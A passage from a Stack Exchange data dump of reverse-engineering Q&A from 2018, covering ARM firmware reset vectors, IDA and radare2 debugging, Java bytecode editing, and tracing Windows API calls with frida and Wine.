&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And about the RTL, I don’t know exactly what I need to edit, but I guess, that is in a xml file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="22666" LastEditorUserId="22666" LastEditDate="2018-02-12T09:49:43.570" LastActivityDate="2018-02-12T09:49:43.570" Title="How to add new language to ARM firmware" Tags="|binary-analysis|firmware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17437" PostTypeId="2" ParentId="17436" CreationDate="2018-02-11T10:43:28.813" Score="3" Body="&lt;p&gt;The first region identified as Minix fs is only several hundreds of bytes long, the second one less than 3 kB (if we assume the subsequent identification of data as MySQL data to be correct) and the contents at the second location don't really look like a fs image to me. So I think it's safe to assume that binwalk incorrectly identified these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at some of the strings contained in the firmware image, it seems that this is using the ThreadX RTOS (several file names mention this) on ARM (there are strings indicating SVC and FIQ, which are ARM exception/interrupt methods). AFAIK, ThreadX only supports some sort of FAT file system out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do not blindly trust tools such as binwalk. Most of the tools only rely on identifying &quot;magic numbers&quot;, i.e. sequences of bytes that can also occur randomly, so a number of false positives is to be expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Thanks for updating information about the hardware)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a feature phone like this, the firmware is often simply one big binary blog linked together, so probably there is no file system which would make it easier to modify contents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The E1200Y &lt;a href=&quot;http://newektamobile.blogspot.de/2016/04/samsung-e1200y-white-display-solution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;uses a Spreadtrum SC6500 SoC&lt;/a&gt;, which &lt;a href=&quot;http://www.spreadtrum.com/en/SC6500.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to the silicon manufacturer&lt;/a&gt; is a ARM9EJ-S Core (running at 208 MHz) - the string &quot;SC6500&quot; also shows up several times in the firmware image. As usual for this sort of ICs, documentation is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to start reverse engineering the code, here are some hints to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a closer look at the firmware image, the first 32 bytes look like valid reset and exception vectors. On &quot;regular&quot; (i.e. non-Cortex-M) ARM processors, these do not contain vectors, but instructions to update the PC to a new value - essentially, some sort of jump instruction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  18 f0 9f e5 18 f0 9f e5  18 f0 9f e5 18 f0 9f e5&#xA;00000010  18 f0 9f e5 18 f0 9f e5  18 f0 9f e5 18 f0 9f e5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in little endian byte order, each group of four bytes &quot;18 f0 9f e5&quot; is the opcode for a LDR instruction (disassembled with the &lt;a href=&quot;http://onlinedisassembler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;online disassembler&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  18 f0 9f e5  ldr pc, [pc, #24]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The PC on ARM always points to the current instruction +8, so PC+24 = 0 (current PC at reset) + 8 + 24 (offset in the instruction) = 32 = 0x20. At offset 0x20, you can find the address of the reset routine (the vectors are described in &lt;a href=&quot;https://stackoverflow.com/questions/6139952/what-is-the-booting-process-for-arm&quot;&gt;this post&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000020  30 6c 0a 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, at reset the CPU will execute code at address 0x000a6c30. However, disassembling the code at this offset in the firmware dump you uploaded does not yield code that looks very sensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regular 32-bit ARM code is identifiable by looking at the most significant 4 bits of each 32-bit opcode. For most instructions, these  should contain 0xe, since the 4 MSBs are used for predicated execution (i.e., execution of an instruction depending on the current values of the CPU flags). 0xe is the predicate for &quot;always&quot;, which should be the case for most instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have to dig deeper here. It seems some sensible-looking startup code is at offset 0x00096c30 in the file - 0x10000 bytes (64 kB) below the reset vector address (code addresses shown here as would be seen by the CPU, subtract 0x10000 to find the bytes in the firmware image):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000a6c30  60 c1 1f e5  ldr ip, [pc, #-352]   ; 0x000a6ad8&#xA;000a6c34  00 c0 9c e5  ldr ip, [ip]&#xA;000a6c38  ff a0 a0 e3  mov sl, #255          ; 0xff&#xA;000a6c3c  0a c0 0c e0  and ip, ip, sl&#xA;000a6c40  6c b1 1f e5  ldr fp, [pc, #-364]   ; 0x000a6adc&#xA;000a6c44  00 b0 9b e5  ldr fp, [fp]&#xA;000a6c48  dc a0 9f e5  ldr sl, [pc, #220]       ;0x000a6d2c&#xA;000a6c4c  0a b0 0b e0  and fp, fp, sl&#xA;000a6c50  78 a1 1f e5  ldr sl, [pc, #-376]   ; 0x000a6ae0&#xA;000a6c54  00 a0 9a e5  ldr sl, [sl]&#xA;000a6c58  00 b0 8a e5  str fp, [sl]&#xA;000a6c5c  80 b1 1f e5  ldr fp, [pc, #-384]   ; 0x000a6ae4&#xA;000a6c60  00 a0 9b e5  ldr sl, [fp]&#xA;000a6c64  00 b0 9a e5  ldr fp, [sl]&#xA;000a6c68  02 01 1b e3  tst fp, #-2147483648  ; 0x80000000&#xA;000a6c6c  fc ff ff 1a  bne 0x000a6c64&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From here on, you will obviously need good knowledge of ARM assembler and of the specific hardware used in the SC6500 (the last three disassembled instructions above look like a polling loop waiting for some I/O condition to occur). So it looks like you are onto quite a big endeavour here...&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastEditorDisplayName="user22967" LastEditDate="2018-02-11T12:58:47.307" LastActivityDate="2018-02-11T12:58:47.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17442" PostTypeId="2" ParentId="15204" CreationDate="2018-02-11T21:49:06.793" Score="5" Body="&lt;p&gt;The process dies before/while &lt;code&gt;gdb&lt;/code&gt; connects to it, as your python script finishes. Use the following line at the end of your script to keep it running.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p.interactive()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23263" LastEditorUserId="22780" LastEditDate="2021-09-28T08:06:44.730" LastActivityDate="2021-09-28T08:06:44.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17443" PostTypeId="1" CreationDate="2018-02-12T06:23:38.653" Score="0" ViewCount="492" Body="&lt;p&gt;I have a problem to find out how to open a file of a game this one seems to have encrypted its files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o0mUC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0mUC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently all I know about the file is that it seems to be a custom 3D file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the file link&#xA;&lt;a href=&quot;https://drive.google.com/open?id=1tfuHEVhMt9ZdQlI3UeXXHuehy_UAhvrb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1tfuHEVhMt9ZdQlI3UeXXHuehy_UAhvrb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23267" LastEditorUserId="23267" LastEditDate="2018-02-12T10:38:49.923" LastActivityDate="2018-02-12T10:38:49.923" Title="reverse engeeneering the 3d file of a game" Tags="|ida|binary-analysis|file-format|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-12T15:30:38.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="17444" PostTypeId="2" ParentId="17443" CreationDate="2018-02-12T09:10:43.870" Score="1" Body="&lt;p&gt;You'll need to reverse engineer the code, which works with this file, in order to understand which was the encryption algorithm. There's no way to guess it from the data in Hex editor.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-02-12T09:10:43.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17445" PostTypeId="1" CreationDate="2018-02-12T15:33:24.140" Score="2" ViewCount="3467" Body="&lt;p&gt;I use 32-bit IDA to debug, but an error occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Incompatible debugging server:debugger id is 1 expected 11(armlinux)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cmd details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  root@android:/ # /data/local/tmp/android_x86_server &#xA;  IDA Android x86 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 &#xA;  Listening on 0.0.0.0:23946...&#xA;&amp;gt; ========================================================= &#xA;  [1] Accepting connection from 127.0.0.1... &#xA;  [1] Incompatible IDA version&#xA;&amp;gt; [1] Closing connection from 127.0.0.1...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA Pro version: 7.0&lt;/p&gt;&#xA;" OwnerUserId="23273" LastEditorUserId="245" LastEditDate="2018-06-12T18:28:48.323" LastActivityDate="2018-08-11T20:00:01.733" Title="Failed to use IDA to remote android debug" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17446" PostTypeId="1" AcceptedAnswerId="17687" CreationDate="2018-02-12T16:31:30.740" Score="2" ViewCount="1320" Body="&lt;p&gt;I've got a crash dump, the application definitely crash in JIT optimized assembler code. I know the start address of the method. How do I find its name using using Windbg and SOS extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm just exploring each assembly in the domain, then in each assembly I dump all modules, then in each module I dump method tables hoping that some method address will be equal to the method I search. And it takes me eternity...&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-03-13T17:57:37.093" Title="How to find the name of the method in Managed Code using Windbg and SOS?" Tags="|windbg|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17449" PostTypeId="2" ParentId="16843" CreationDate="2018-02-12T20:32:19.537" Score="3" Body="&lt;p&gt;I typicall solve this by just walking over code references to the import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ref in CodeRefsTo(LocByName('GetTickCount'),True):&#xA;    print &quot;%08x&quot; % ref&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is quite powerful because unless I'm mistaken this also references snippets like this properly: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     esi, ds:LoadLibraryW&#xA;push    edi             ; lpLibFileName&#xA;call    esi ; LoadLibraryW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the code reference is properly returned as the last line, not the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I typically walk the code backwards with &lt;code&gt;PrevHead&lt;/code&gt; and &lt;code&gt;GetMnem&lt;/code&gt; until I find the matching arguments.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-02-12T20:32:19.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17450" PostTypeId="1" CreationDate="2018-02-12T21:58:44.467" Score="2" ViewCount="3237" Body="&lt;p&gt;I have this java code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class HelloWorld&#xA;{&#xA;    public static void main(String[] args) {&#xA;        System.out.println(&quot;Hello World!&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile to class file, run it , and all fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit it via class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I open the &lt;code&gt;HelloWorld.class&lt;/code&gt; with recaf.0.9, click on recompile, than I edit the code and save it, but the code not changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I edit .class file and not recompile it , and not working with bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want for example add if else to this code(via the class file)&lt;/p&gt;&#xA;" OwnerUserId="23279" LastActivityDate="2018-02-13T00:05:15.037" Title="can't edit class file with recaf.0.9 without re-compile" Tags="|decompilation|java|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17451" PostTypeId="2" ParentId="17450" CreationDate="2018-02-12T23:59:51.520" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I edit .class file and not recompile it , and not working with bytecode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These requirements are contradictory. You have to choose one or the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main ways to edit Java code. You can either decompile the classfile, edit the decompiled source, and then try to compile it again, or you can edit it directly at the bytecode level using a bytecode disassembler and assembler such as &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt; or a bytecode editor such as Recaf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation and recompilation is unreliable, since the process is lossy in both directions, so it will generally only work in simple cases. You're better off editing the bytecode directly, since this is faster and guaranteed to work for all classfiles, but it does require you to understand bytecode. Note that Recaf is also lossy (unlike Krakatau), although it won't matter unless you're doing something highly unusual.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2018-02-13T00:05:15.037" LastActivityDate="2018-02-13T00:05:15.037" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17452" PostTypeId="1" AcceptedAnswerId="17456" CreationDate="2018-02-13T02:01:26.017" Score="1" ViewCount="1069" Body="&lt;p&gt;I have a binary which is playing a Morse code using calls to Beep &amp;amp; Sleep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file is Windows PE32 exe which I open via Wine on my Ubuntu (16.04).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I extract the arguments which passed to Sleep or Beep whenever is been invoked ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideal result will be to open the file from terminal and each time Sleep is called it will log &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sleep ( &lt;em&gt;Milliseconds&lt;/em&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Beep ( &lt;em&gt;Frequency&lt;/em&gt; , &lt;em&gt;Duration&lt;/em&gt; )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The binary is packed &amp;amp; obfuscated, can I edit the Kernel32.dll &amp;amp; extend those methods ? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I use &lt;code&gt;strace&lt;/code&gt; ? if so, how do I filter Sleep &amp;amp; Beep ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2018-02-13T15:11:11.583" LastActivityDate="2018-02-13T15:11:11.583" Title="hooking sleep &amp; beep syscalls" Tags="|function-hooking|system-call|wine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17453" PostTypeId="1" CreationDate="2018-02-13T02:50:24.307" Score="4" ViewCount="6253" Body="&lt;p&gt;If I want to debug &lt;code&gt;ls&lt;/code&gt; I can run,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare -d /bin/ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, how do I provide an argument or parameter to &lt;code&gt;ls&lt;/code&gt;? Like I would do if I wanted to run &lt;code&gt;radare -d /bin/ls -1&lt;/code&gt;. I've tried it like that without quotes, which returns &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;radare2: invalid option -- '1'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've also tried quoting the whole thing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -d &quot;/bin/ls -1&quot;&#xA;Could not execvp: No such file or directory&#xA;[w] Cannot open 'dbg:///bin/ls\ -1' for writing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Radare2book's &lt;em&gt;&quot;Basic Debugger Session&quot;&lt;/em&gt;&lt;/a&gt; says , &lt;em&gt;&quot;or you can start a new program by specifying its name and parameters&quot;&lt;/em&gt;, but it's not clear how you specify the parameters.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-02-13T02:56:12.757" LastActivityDate="2018-02-13T12:43:18.067" Title="How do you use the Radare debugger with command line arguments (parameters)?" Tags="|debugging|debuggers|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17454" PostTypeId="2" ParentId="17453" CreationDate="2018-02-13T03:03:26.223" Score="0" Body="&lt;h1&gt;&lt;code&gt;rarun2&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This comes under the purview of &lt;code&gt;rarun2&lt;/code&gt; which isn't documented in the radare2 book, but instead in &lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/intro/debugging.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2-explorations&lt;/a&gt;. From &lt;code&gt;man rarun2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;rr2&lt;/code&gt; (&lt;code&gt;rarun2&lt;/code&gt;) configuration file accepts the following directives, described as key=value entries and comments defined as lines starting with '#'.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;arg[0-N]&lt;/code&gt;    set value for argument N passed to the program&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you can run that simply by either creating a profile, or doing this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -R arg0=&quot;-1&quot; -d /bin/ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-02-13T03:25:05.450" LastActivityDate="2018-02-13T03:25:05.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17455" PostTypeId="2" ParentId="17452" CreationDate="2018-02-13T11:04:45.497" Score="2" Body="&lt;p&gt;not sure what you mean&lt;br&gt;&#xA;dot will always sound like dot  wont it ? &#xA;so logically it will always have the same frequency and same duration ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like wise dash will always sound like dash ?&lt;br&gt;&#xA;if it varied like monkeydash , goatdash , pigdash each time it sounded then it wont be morse code ....&lt;br&gt;&#xA;so logically dash will have the same frequency and duration   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so logical conclusion would be &#xA;if you log them once you logged them forever in a specific program &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does it mage sense ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now that set aside why would you need to edit system dlls ?&#xA;cant you run a debugger and set a breakpoint on the binary? why ?&lt;br&gt;&#xA;is it because it is packed and obfuscated and has heavy anti-debugging measures including checking for breakpoints on system dlls? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so you can try some thing like frida &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you have some code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;void beepchar(char letter) {&#xA;    char *beeps[] = { &#xA;        &quot;.-&quot;,&quot;-...&quot;,&quot;-.-.&quot;,&quot;-..&quot;,&quot;.&quot;,&quot;..-.&quot;,&quot;--.&quot;,&quot;....&quot;,&quot;..&quot;,&#xA;        &quot;.---&quot;,&quot;-.-&quot;,&quot;.-..&quot;,&quot;--&quot;,        &quot;-.&quot;,&quot;---&quot;,&quot;.--.&quot;,&quot;--.-&quot;,&#xA;        &quot;.-.&quot;,&quot;...&quot;,&quot;-&quot;,&quot;..-&quot;,&quot;...-&quot;,&quot;.--&quot;,&quot;-..-&quot;,&quot;-.--&quot;,&quot;--..&quot;&#xA;    };&#xA;    char *curbeep= (beeps[(letter -'a')]);&#xA;    printf(&quot;%s &quot; , curbeep);&#xA;    while(*curbeep) {&#xA;        if( *curbeep == '.') {&#xA;            printf (&quot;dot &quot;); Beep(440,200);&#xA;        } else {&#xA;            printf(&quot;dash &quot;); Beep(440,400);&#xA;        } curbeep++;&#xA;    }printf(&quot;\n&quot;);&#xA;}&#xA;int main (int argc , char* argv[]) {&#xA;    if(argc !=2) {&#xA;        printf (&quot;usage %s some string\n&quot;,argv[0]);&#xA;        exit(0);&#xA;    } char *letter = argv[1];&#xA;    while(*letter) {&#xA;        unsigned char temp = *(unsigned char *)letter;&#xA;        if(isalpha(temp))        {&#xA;            beepchar((char)tolower(temp));&#xA;        } else {&#xA;            printf(&quot;not an alphabet\n&quot;);&#xA;        } letter++;&#xA;    } return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when compiled and executed you should get an output like this along with sound &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;morsebeeper.exe&#xA;usage morsebeeper.exe some string&#xA;:\&amp;gt;morsebeeper.exe &quot;Hello World&quot;&#xA;.... dot dot dot dot&#xA;. dot&#xA;.-.. dot dash dot dot&#xA;.-.. dot dash dot dot&#xA;--- dash dash dash&#xA;not an alphabet&#xA;.-- dot dash dash&#xA;--- dash dash dash&#xA;.-. dot dash dot&#xA;.-.. dot dash dot dot&#xA;-.. dash dot dot&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use frida-trace to log the beeps &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just run &lt;strong&gt;frida-trace -i &quot;Beep&quot; .\yourexe&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and edit the auto generated handler as you wish dynamically and reload it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;frida-trace -i &quot;Beep&quot; .\morsebeeper.exe Hello&#xA;Instrumenting functions...&#xA;Beep: Loaded handler at &quot;xxx\__handlers__\kernel32.dll\Beep.js&quot;&#xA;Beep: Loaded handler at &quot;xxx\__handlers__\KERNELBASE.dll\Beep.js&quot;&#xA;Started tracing 2 functions. Press Ctrl+C to stop.&#xA;           /* TID 0xf44 */&#xA;   109 ms  Beep()&#xA;   110 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot&#xA;   314 ms  Beep()&#xA;   315 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot&#xA;   547 ms  Beep()&#xA;   547 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot&#xA;   800 ms  Beep()&#xA;   800 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot   &#xA;   four dots above = h          &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  1093 ms  Beep()&#xA;  1094 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot&#xA;  one dot above is e            &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;  l&#xA;  1382 ms  Beep()&#xA;  1382 ms     | Beep(440 , 200) &amp;lt;&amp;lt; dot&#xA;  1609 ms  Beep()&#xA;  1609 ms     | Beep(440 , 400) &amp;lt;&amp;lt; dash&#xA;  2104 ms  Beep()&#xA;  2104 ms     | Beep(440 , 200)&#xA;  2333 ms  Beep()&#xA;  2333 ms     | Beep(440 , 200)&#xA;  l&#xA;  2614 ms  Beep()&#xA;  2614 ms     | Beep(440 , 200)&#xA;  2895 ms  Beep()&#xA;  2896 ms     | Beep(440 , 400)&#xA;  3301 ms  Beep()&#xA;  3302 ms     | Beep(440 , 200)&#xA;  3503 ms  Beep()&#xA;  3503 ms     | Beep(440 , 200)&#xA;  o&#xA;  3705 ms  Beep()&#xA;  3705 ms     | Beep(440 , 400)&#xA;  4197 ms  Beep()&#xA;  4198 ms     | Beep(440 , 400)&#xA;  4604 ms  Beep()&#xA;  4604 ms     | Beep(440 , 400)&#xA;stdout&amp;gt; .... dot dot dot dot&#xA;stdout&amp;gt; . dot&#xA;stdout&amp;gt; .-.. dot dash dot dot&#xA;stdout&amp;gt; .-.. dot dash dot dot&#xA;stdout&amp;gt; --- dash dash dash&#xA;stdout&amp;gt;&#xA;stderr&amp;gt;&#xA;Process terminated&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-13T11:04:45.497" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17456" PostTypeId="2" ParentId="17452" CreationDate="2018-02-13T11:25:16.690" Score="1" Body="&lt;p&gt;If you're using Wine, you just need to enable the trace. Do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ WINEDEBUG=&quot;trace+msvcrt&quot; wine your_binary.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taking a look to the Wine's source code I verified that both Sleep and Beep are being traced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/wine-mirror/wine/blob/master/dlls/msvcrt/misc.c#L37&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beep&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void CDECL MSVCRT__beep( unsigned int freq, unsigned int duration)&#xA;{&#xA;    TRACE(&quot;:Freq %d, Duration %d\n&quot;,freq,duration);&#xA;    Beep(freq, duration);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/wine-mirror/wine/blob/master/dlls/msvcrt/misc.c#L81&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sleep&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void CDECL MSVCRT__sleep(MSVCRT_ulong timeout)&#xA;{&#xA;  TRACE(&quot;_sleep for %d milliseconds\n&quot;,timeout);&#xA;  Sleep((timeout)?timeout:1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally, you will need to filter out many other messages. Simply doing &quot;grep -v&quot; should be enough.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-02-13T11:25:16.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17457" PostTypeId="2" ParentId="17453" CreationDate="2018-02-13T12:43:18.067" Score="5" Body="&lt;p&gt;Seems like radare has problems with passing arguments starting with dash (&quot;-&quot;). Please consider &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;noreferrer&quot;&gt;open an issue&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can pass arguments to radare2 debugged program in several ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -d program arg1 arg2 arg3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;r2&lt;/strong&gt; is an alias for radare2.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;-d&lt;/strong&gt; is telling radare2 to debug the execuable.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;arg1..3&lt;/strong&gt; are the arguments passed to the executable by radare2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d echo Hello, World!&#xA;Process with PID 4755 started...&#xA;= attach 4755 4755&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA; -- You haxor! Me jane?&#xA;&#xA;[0x7f9b1b000c30]&amp;gt; dc&#xA;Hello, World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way is using the &lt;code&gt;ood&lt;/code&gt; command inside radare2 shell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Execute &lt;code&gt;radare2 ./program&lt;/code&gt;, then type &lt;code&gt;ood arg1 arg2 arg3&lt;/code&gt;. The 